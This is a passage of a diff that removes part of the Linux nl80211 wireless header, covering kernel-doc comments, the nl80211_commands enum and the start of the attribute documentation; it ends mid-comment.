- *	Note that the action frame handshake with the AP shall be handled by
- *	userspace via the normal management RX/TX framework, this only sets
- *	up the TX TS in the driver/device.
- *	If the admitted time attribute is not added then the request just checks
- *	if a subsequent setup could be successful, the intent is to use this to
- *	avoid setting up a session with the AP when local restrictions would
- *	make that impossible. However, the subsequent "real" setup may still
- *	fail even if the check was successful.
- * @NL80211_CMD_DEL_TX_TS: Remove an existing TS with the %NL80211_ATTR_TSID
- *	and %NL80211_ATTR_MAC parameters. It isn't necessary to call this
- *	before removing a station entry entirely, or before disassociating
- *	or similar, cleanup will happen in the driver/device in this case.
- *
- * @NL80211_CMD_GET_MPP: Get mesh path attributes for mesh proxy path to
- *	destination %NL80211_ATTR_MAC on the interface identified by
- *	%NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_JOIN_OCB: Join the OCB network. The center frequency and
- *	bandwidth of a channel must be given.
- * @NL80211_CMD_LEAVE_OCB: Leave the OCB network -- no special arguments, the
- *	network is determined by the network interface.
- *
- * @NL80211_CMD_TDLS_CHANNEL_SWITCH: Start channel-switching with a TDLS peer,
- *	identified by the %NL80211_ATTR_MAC parameter. A target channel is
- *	provided via %NL80211_ATTR_WIPHY_FREQ and other attributes determining
- *	channel width/type. The target operating class is given via
- *	%NL80211_ATTR_OPER_CLASS.
- *	The driver is responsible for continually initiating channel-switching
- *	operations and returning to the base channel for communication with the
- *	AP.
- * @NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH: Stop channel-switching with a TDLS
- *	peer given by %NL80211_ATTR_MAC. Both peers must be on the base channel
- *	when this command completes.
- *
- * @NL80211_CMD_WIPHY_REG_CHANGE: Similar to %NL80211_CMD_REG_CHANGE, but used
- *	as an event to indicate changes for devices with wiphy-specific regdom
- *	management.
- *
- * @NL80211_CMD_ABORT_SCAN: Stop an ongoing scan. Returns -ENOENT if a scan is
- *	not running. The driver indicates the status of the scan through
- *	cfg80211_scan_done().
- *
- * @NL80211_CMD_MAX: highest used command number
- * @__NL80211_CMD_AFTER_LAST: internal use
- */
-enum nl80211_commands {
-  /* don't change the order or add anything between, this is ABI! */
-  NL80211_CMD_UNSPEC,
-
-  NL80211_CMD_GET_WIPHY, /* can dump */
-  NL80211_CMD_SET_WIPHY,
-  NL80211_CMD_NEW_WIPHY,
-  NL80211_CMD_DEL_WIPHY,
-
-  NL80211_CMD_GET_INTERFACE, /* can dump */
-  NL80211_CMD_SET_INTERFACE,
-  NL80211_CMD_NEW_INTERFACE,
-  NL80211_CMD_DEL_INTERFACE,
-
-  NL80211_CMD_GET_KEY,
-  NL80211_CMD_SET_KEY,
-  NL80211_CMD_NEW_KEY,
-  NL80211_CMD_DEL_KEY,
-
-  NL80211_CMD_GET_BEACON,
-  NL80211_CMD_SET_BEACON,
-  NL80211_CMD_START_AP,
-  NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP,
-  NL80211_CMD_STOP_AP,
-  NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP,
-
-  NL80211_CMD_GET_STATION,
-  NL80211_CMD_SET_STATION,
-  NL80211_CMD_NEW_STATION,
-  NL80211_CMD_DEL_STATION,
-
-  NL80211_CMD_GET_MPATH,
-  NL80211_CMD_SET_MPATH,
-  NL80211_CMD_NEW_MPATH,
-  NL80211_CMD_DEL_MPATH,
-
-  NL80211_CMD_SET_BSS,
-
-  NL80211_CMD_SET_REG,
-  NL80211_CMD_REQ_SET_REG,
-
-  NL80211_CMD_GET_MESH_CONFIG,
-  NL80211_CMD_SET_MESH_CONFIG,
-
-  NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */,
-
-  NL80211_CMD_GET_REG,
-
-  NL80211_CMD_GET_SCAN,
-  NL80211_CMD_TRIGGER_SCAN,
-  NL80211_CMD_NEW_SCAN_RESULTS,
-  NL80211_CMD_SCAN_ABORTED,
-
-  NL80211_CMD_REG_CHANGE,
-
-  NL80211_CMD_AUTHENTICATE,
-  NL80211_CMD_ASSOCIATE,
-  NL80211_CMD_DEAUTHENTICATE,
-  NL80211_CMD_DISASSOCIATE,
-
-  NL80211_CMD_MICHAEL_MIC_FAILURE,
-
-  NL80211_CMD_REG_BEACON_HINT,
-
-  NL80211_CMD_JOIN_IBSS,
-  NL80211_CMD_LEAVE_IBSS,
-
-  NL80211_CMD_TESTMODE,
-
-  NL80211_CMD_CONNECT,
-  NL80211_CMD_ROAM,
-  NL80211_CMD_DISCONNECT,
-
-  NL80211_CMD_SET_WIPHY_NETNS,
-
-  NL80211_CMD_GET_SURVEY,
-  NL80211_CMD_NEW_SURVEY_RESULTS,
-
-  NL80211_CMD_SET_PMKSA,
-  NL80211_CMD_DEL_PMKSA,
-  NL80211_CMD_FLUSH_PMKSA,
-
-  NL80211_CMD_REMAIN_ON_CHANNEL,
-  NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL,
-
-  NL80211_CMD_SET_TX_BITRATE_MASK,
-
-  NL80211_CMD_REGISTER_FRAME,
-  NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME,
-  NL80211_CMD_FRAME,
-  NL80211_CMD_ACTION = NL80211_CMD_FRAME,
-  NL80211_CMD_FRAME_TX_STATUS,
-  NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS,
-
-  NL80211_CMD_SET_POWER_SAVE,
-  NL80211_CMD_GET_POWER_SAVE,
-
-  NL80211_CMD_SET_CQM,
-  NL80211_CMD_NOTIFY_CQM,
-
-  NL80211_CMD_SET_CHANNEL,
-  NL80211_CMD_SET_WDS_PEER,
-
-  NL80211_CMD_FRAME_WAIT_CANCEL,
-
-  NL80211_CMD_JOIN_MESH,
-  NL80211_CMD_LEAVE_MESH,
-
-  NL80211_CMD_UNPROT_DEAUTHENTICATE,
-  NL80211_CMD_UNPROT_DISASSOCIATE,
-
-  NL80211_CMD_NEW_PEER_CANDIDATE,
-
-  NL80211_CMD_GET_WOWLAN,
-  NL80211_CMD_SET_WOWLAN,
-
-  NL80211_CMD_START_SCHED_SCAN,
-  NL80211_CMD_STOP_SCHED_SCAN,
-  NL80211_CMD_SCHED_SCAN_RESULTS,
-  NL80211_CMD_SCHED_SCAN_STOPPED,
-
-  NL80211_CMD_SET_REKEY_OFFLOAD,
-
-  NL80211_CMD_PMKSA_CANDIDATE,
-
-  NL80211_CMD_TDLS_OPER,
-  NL80211_CMD_TDLS_MGMT,
-
-  NL80211_CMD_UNEXPECTED_FRAME,
-
-  NL80211_CMD_PROBE_CLIENT,
-
-  NL80211_CMD_REGISTER_BEACONS,
-
-  NL80211_CMD_UNEXPECTED_4ADDR_FRAME,
-
-  NL80211_CMD_SET_NOACK_MAP,
-
-  NL80211_CMD_CH_SWITCH_NOTIFY,
-
-  NL80211_CMD_START_P2P_DEVICE,
-  NL80211_CMD_STOP_P2P_DEVICE,
-
-  NL80211_CMD_CONN_FAILED,
-
-  NL80211_CMD_SET_MCAST_RATE,
-
-  NL80211_CMD_SET_MAC_ACL,
-
-  NL80211_CMD_RADAR_DETECT,
-
-  NL80211_CMD_GET_PROTOCOL_FEATURES,
-
-  NL80211_CMD_UPDATE_FT_IES,
-  NL80211_CMD_FT_EVENT,
-
-  NL80211_CMD_CRIT_PROTOCOL_START,
-  NL80211_CMD_CRIT_PROTOCOL_STOP,
-
-  NL80211_CMD_GET_COALESCE,
-  NL80211_CMD_SET_COALESCE,
-
-  NL80211_CMD_CHANNEL_SWITCH,
-
-  NL80211_CMD_VENDOR,
-
-  NL80211_CMD_SET_QOS_MAP,
-
-  NL80211_CMD_ADD_TX_TS,
-  NL80211_CMD_DEL_TX_TS,
-
-  NL80211_CMD_GET_MPP,
-
-  NL80211_CMD_JOIN_OCB,
-  NL80211_CMD_LEAVE_OCB,
-
-  NL80211_CMD_CH_SWITCH_STARTED_NOTIFY,
-
-  NL80211_CMD_TDLS_CHANNEL_SWITCH,
-  NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH,
-
-  NL80211_CMD_WIPHY_REG_CHANGE,
-
-  NL80211_CMD_ABORT_SCAN,
-
-  /* add new commands above here */
-
-  /* used to define NL80211_CMD_MAX below */
-  __NL80211_CMD_AFTER_LAST,
-  NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1
-};
-
-/*
- * Allow user space programs to use #ifdef on new commands by defining them
- * here
- */
-#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS
-#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE
-#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE
-#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE
-#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE
-#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE
-#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE
-#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT
-
-#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
-
-/* source-level API compatibility */
-#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG
-#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG
-#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE
-
-/**
- * enum nl80211_attrs - nl80211 netlink attributes
- *
- * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors
- *
- * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf.
- *	/sys/class/ieee80211/<phyname>/index
- * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming)
- * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters
- * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz,
- *	defines the channel together with the (deprecated)
- *	%NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes
- *	%NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1
- *	and %NL80211_ATTR_CENTER_FREQ2
- * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values
- *	of &enum nl80211_chan_width, describing the channel width. See the
- *	documentation of the enum for more information.
- * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the
- *	channel, used for anything but 20 MHz bandwidth
- * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the
- *	channel, used only for 80+80 MHz bandwidth
- * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ
- *	if HT20 or HT40 are to be used (i.e., HT disabled if not included):
- *	NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including
- *		this attribute)
- *	NL80211_CHAN_HT20 = HT20 only
- *	NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel
- *	NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel
- *	This attribute is now deprecated.
- * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is
- *	less than or equal to the RTS threshold; allowed range: 1..255;
- *	dot11ShortRetryLimit; u8
- * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is
- *	greater than the RTS threshold; allowed range: 1..255;
- *	dot11ShortLongLimit; u8
- * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum
- *	length in octets for frames; allowed range: 256..8000, disable
- *	fragmentation with (u32)-1; dot11FragmentationThreshold; u32
- * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length
- *	larger than or equal to this use RTS/CTS handshake); allowed range:
- *	0..65536, disable with (u32)-1; dot11RTSThreshold; u32
- * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11
- *	section 7.3.2.9; dot11CoverageClass; u8
- *
- * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on
- * @NL80211_ATTR_IFNAME: network interface name
- * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype
- *
- * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices
- *	that don't have a netdev (u64)
- *
- * @NL80211_ATTR_MAC: MAC address (various uses)
- *
- * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of
- *	16 bytes encryption key followed by 8 bytes each for TX and RX MIC
- *	keys
- * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3)
- * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
- *	section 7.3.2.25.1, e.g. 0x000FAC04)
- * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
- *	CCMP keys, each six bytes in little endian
- * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key
- * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the
- *	default management key
- * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or
- *	other commands, indicates which pairwise cipher suites are used
- * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or
- *	other commands, indicates which group cipher suite is used
- *
- * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU
- * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing
- * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE
- * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE
- *
- * @NL80211_ATTR_STA_AID: Association ID for the station (u16)
- * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of
- *	&enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2)
- * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by
- *	IEEE 802.11 7.3.1.6 (u16).
- * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported
- *	rates as defined by IEEE 802.11 7.3.2.2 but without the length
- *	restriction (at most %NL80211_MAX_SUPP_RATES).
- * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station
- *	to, or the AP interface the station was originally added to to.
- * @NL80211_ATTR_STA_INFO: information about a station, part of station info
- *	given for %NL80211_CMD_GET_STATION, nested attribute containing
- *	info as possible, see &enum nl80211_sta_info.
- *
- * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands,
- *	consisting of a nested array.
- *
- * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes).
- * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link
- *	(see &enum nl80211_plink_action).
- * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path.
- * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path
- * 	info given for %NL80211_CMD_GET_MPATH, nested attribute described at
- *	&enum nl80211_mpath_info.
- *
- * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of
- *      &enum nl80211_mntr_flags.
- *
- * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the
- * 	current regulatory domain should be set to or is already set to.
- * 	For example, 'CR', for Costa Rica. This attribute is used by the kernel
- * 	to query the CRDA to retrieve one regulatory domain. This attribute can
- * 	also be used by userspace to query the kernel for the currently set
- * 	regulatory domain. We chose an alpha2 as that is also used by the
- * 	IEEE-802.11 country information element to identify a country.
- * 	Users can also simply ask the wireless core to set regulatory domain
- * 	to a specific alpha2.
- * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory
- *	rules.
- *
- * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1)
- * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled
- *	(u8, 0 or 1)
- * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled
- *	(u8, 0 or 1)
- * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic
- *	rates in format defined by IEEE 802.11 7.3.2.2 but without the length
- *	restriction (at most %NL80211_MAX_SUPP_RATES).
- *
- * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from
- *	association request when used with NL80211_CMD_NEW_STATION)
- *
- * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all
- *	supported interface types, each a flag attribute with the number
- *	of the interface mode.
- *
- * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for
- *	%NL80211_CMD_SET_MGMT_EXTRA_IE.
- *
- * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with
- *	%NL80211_CMD_SET_MGMT_EXTRA_IE).
- *
- * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with
- *	a single scan request, a wiphy attribute.
- * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can
- *	scan with a single scheduled scan request, a wiphy attribute.
- * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements
- *	that can be added to a scan request
- * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information
- *	elements that can be added to a scheduled scan request
- * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be
- *	used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute.
- *
- * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz)
- * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive
- *	scanning and include a zero-length SSID (wildcard) for wildcard scan
- * @NL80211_ATTR_BSS: scan result BSS
- *
- * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain
- * 	currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_*
- * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently
- * 	set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*)
- *
- * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies
- *	an array of command numbers (i.e. a mapping index to command number)
- *	that the driver for the given wiphy supports.
- *
- * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header
- *	and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and
- *	NL80211_CMD_ASSOCIATE events
- * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets)
- * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type,
- *	represented as a u32
- * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and
- *	%NL80211_CMD_DISASSOCIATE, u16
- *
- * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as
- *	a u32
- *
- * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change
- * 	due to considerations from a beacon hint. This attribute reflects
- * 	the state of the channel _before_ the beacon hint processing. This
- * 	attributes consists of a nested attribute containing
- * 	NL80211_FREQUENCY_ATTR_*
- * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change
- * 	due to considerations from a beacon hint. This attribute reflects
- * 	the state of the channel _after_ the beacon hint processing. This
- * 	attributes consists of a nested attribute containing
- * 	NL80211_FREQUENCY_ATTR_*
- *
- * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported
- *	cipher suites
- *
- * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look
- *	for other networks on different channels
- *
- * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this
- *	is used, e.g., with %NL80211_CMD_AUTHENTICATE event
- *
- * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is
- *	used for the association (&enum nl80211_mfp, represented as a u32);
- *	this attribute can be used
- *	with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests
- *
- * @NL80211_ATTR_STA_FLAGS2: Attribute containing a
- *	&struct nl80211_sta_flag_update.
- *
- * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls
- *	IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in
- *	station mode. If the flag is included in %NL80211_CMD_ASSOCIATE
- *	request, the driver will assume that the port is unauthorized until
- *	authorized by user space. Otherwise, port is marked authorized by
- *	default in station mode.
- * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the
- *	ethertype that will be used for key negotiation. It can be
- *	specified with the associate and connect commands. If it is not
- *	specified, the value defaults to 0x888E (PAE, 802.1X). This
- *	attribute is also used as a flag in the wiphy information to
- *	indicate that protocols other than PAE are supported.
- * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with
- *	%NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom
- *	ethertype frames used for key negotiation must not be encrypted.
- *
- * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver.
- *	We recommend using nested, driver-specific attributes within this.
- *
- * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT
- *	event was due to the AP disconnecting the station, and not due to
- *	a local disconnect request.
- * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT
- *	event (u16)
- * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating
- *	that protected APs should be used. This is also used with NEW_BEACON to
- *	indicate that the BSS is to use protection.
- *
- * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON
- *	to indicate which unicast key ciphers will be used with the connection
- *	(an array of u32).
- * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which group key cipher will be used with the connection (a
- *	u32).
- * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which WPA version(s) the AP we want to associate with is using
- *	(a u32 with flags from &enum nl80211_wpa_versions).
- * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to
- *	indicate which key management algorithm(s) to use (an array of u32).
- *
- * @NL80211_ATTR_REQ_IE: (Re)association request information elements as
- *	sent out by the card, for ROAM and successful CONNECT events.
- * @NL80211_ATTR_RESP_IE: (Re)association response information elements as
- *	sent by peer, for ROAM and successful CONNECT events.
- *
- * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE
- *	commands to specify using a reassociate frame
- *
- * @NL80211_ATTR_KEY: key information in a nested attribute with
- *	%NL80211_KEY_* sub-attributes
- * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect()
- *	and join_ibss(), key information is in a nested attribute each
- *	with %NL80211_KEY_* sub-attributes
- *
- * @NL80211_ATTR_PID: Process ID of a network namespace.
- *
- * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for
- *	dumps. This number increases whenever the object list being
- *	dumped changes, and as such userspace can verify that it has
- *	obtained a complete and consistent snapshot by verifying that
- *	all dump messages contain the same generation number. If it
- *	changed then the list changed and the dump should be repeated
- *	completely from scratch.
- *
- * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface
- *
- * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of
- *      the survey response for %NL80211_CMD_GET_SURVEY, nested attribute
- *      containing info as possible, see &enum survey_info.
- *
- * @NL80211_ATTR_PMKID: PMK material for PMKSA caching.
- * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can
- *	cache, a wiphy attribute.
- *
- * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32.
- * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that
- *	specifies the maximum duration that can be requested with the
- *	remain-on-channel operation, in milliseconds, u32.
- *
- * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects.
- *
- * @NL80211_ATTR_TX_RATES: Nested set of attributes
- *	(enum nl80211_tx_rate_attributes) describing TX rates per band. The
- *	enum nl80211_band value is used as the index (nla_type() of the nested
- *	data. If a band is not included, it will be configured to allow all
- *	rates based on negotiated supported rates information. This attribute
- *	is used with %NL80211_CMD_SET_TX_BITRATE_MASK.
- *
- * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain
- *	at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME.
- * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the
- *	@NL80211_CMD_REGISTER_FRAME command.
- * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a
- *	nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
- *	information about which frame types can be transmitted with
- *	%NL80211_CMD_FRAME.
- * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a
- *	nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
- *	information about which frame types can be registered for RX.
- *
- * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was
- *	acknowledged by the recipient.
- *
- * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values.
- *
- * @NL80211_ATTR_CQM: connection quality monitor configuration in a
- *	nested attribute with %NL80211_ATTR_CQM_* sub-attributes.
- *
- * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command
- *	is requesting a local authentication/association state change without
- *	invoking actual management frame exchange. This can be used with
- *	NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE,
- *	NL80211_CMD_DISASSOCIATE.
- *
- * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations
- *	connected to this BSS.
- *
- * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See
- *      &enum nl80211_tx_power_setting for possible values.
- * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units.
- *      This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING
- *      for non-automatic settings.
- *
- * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly
- *	means support for per-station GTKs.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting.
- *	This can be used to mask out antennas which are not attached or should
- *	not be used for transmitting. If an antenna is not selected in this
- *	bitmap the hardware is not allowed to transmit on this antenna.
- *
- *	Each bit represents one antenna, starting with antenna 1 at the first
- *	bit. Depending on which antennas are selected in the bitmap, 802.11n
- *	drivers can derive which chainmasks to use (if all antennas belonging to
- *	a particular chain are disabled this chain should be disabled) and if
- *	a chain has diversity antennas wether diversity should be used or not.
- *	HT capabilities (STBC, TX Beamforming, Antenna selection) can be
- *	derived from the available chains after applying the antenna mask.
- *	Non-802.11n drivers can derive wether to use diversity or not.
- *	Drivers may reject configurations or RX/TX mask combinations they cannot
- *	support by returning -EINVAL.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving.
- *	This can be used to mask out antennas which are not attached or should
- *	not be used for receiving. If an antenna is not selected in this bitmap
- *	the hardware should not be configured to receive on this antenna.
- *	For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available
- *	for configuration as TX antennas via the above parameters.
- *
- * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available
- *	for configuration as RX antennas via the above parameters.
- *
- * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS
- *
- * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be
- *	transmitted on another channel when the channel given doesn't match
- *	the current channel. If the current channel doesn't match and this
- *	flag isn't set, the frame will be rejected. This is also used as an
- *	nl80211 capability flag.
- *
- * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16)
- *
- * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags
- *	attributes, specifying what a key should be set as default as.
- *	See &enum nl80211_key_default_types.
- *
- * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters.  These cannot be
- *	changed once the mesh is active.
- * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute
- *	containing attributes from &enum nl80211_meshconf_params.
- * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver
- *	allows auth frames in a mesh to be passed to userspace for processing
- *via the @NL80211_MESH_SETUP_USERSPACE_AUTH flag.
- * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in
- *	&enum nl80211_plink_state. Used when userspace is driving the peer link
- *	management state machine.  @NL80211_MESH_SETUP_USERSPACE_AMPE or
- *	@NL80211_MESH_SETUP_USERSPACE_MPM must be enabled.
- *
- * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy
- *	capabilities, the supported WoWLAN triggers
- * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to
- *	indicate which WoW triggers should be enabled. This is also
- *	used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN
- *	triggers.
- *
- * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan
- *	cycles, in msecs.
- *
- * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more
- *	sets of attributes to match during scheduled scans.  Only BSSs
- *	that match any of the sets will be reported.  These are
- *	pass-thru filter rules.
- *	For a match to succeed, the BSS must match all attributes of a
- *	set.  Since not every hardware supports matching all types of
- *	attributes, there is no guarantee that the reported BSSs are
- *	fully complying with the match sets and userspace needs to be
- *	able to ignore them by itself.
- *	Thus, the implementation is somewhat hardware-dependent, but
- *	this is only an optimization and the userspace application
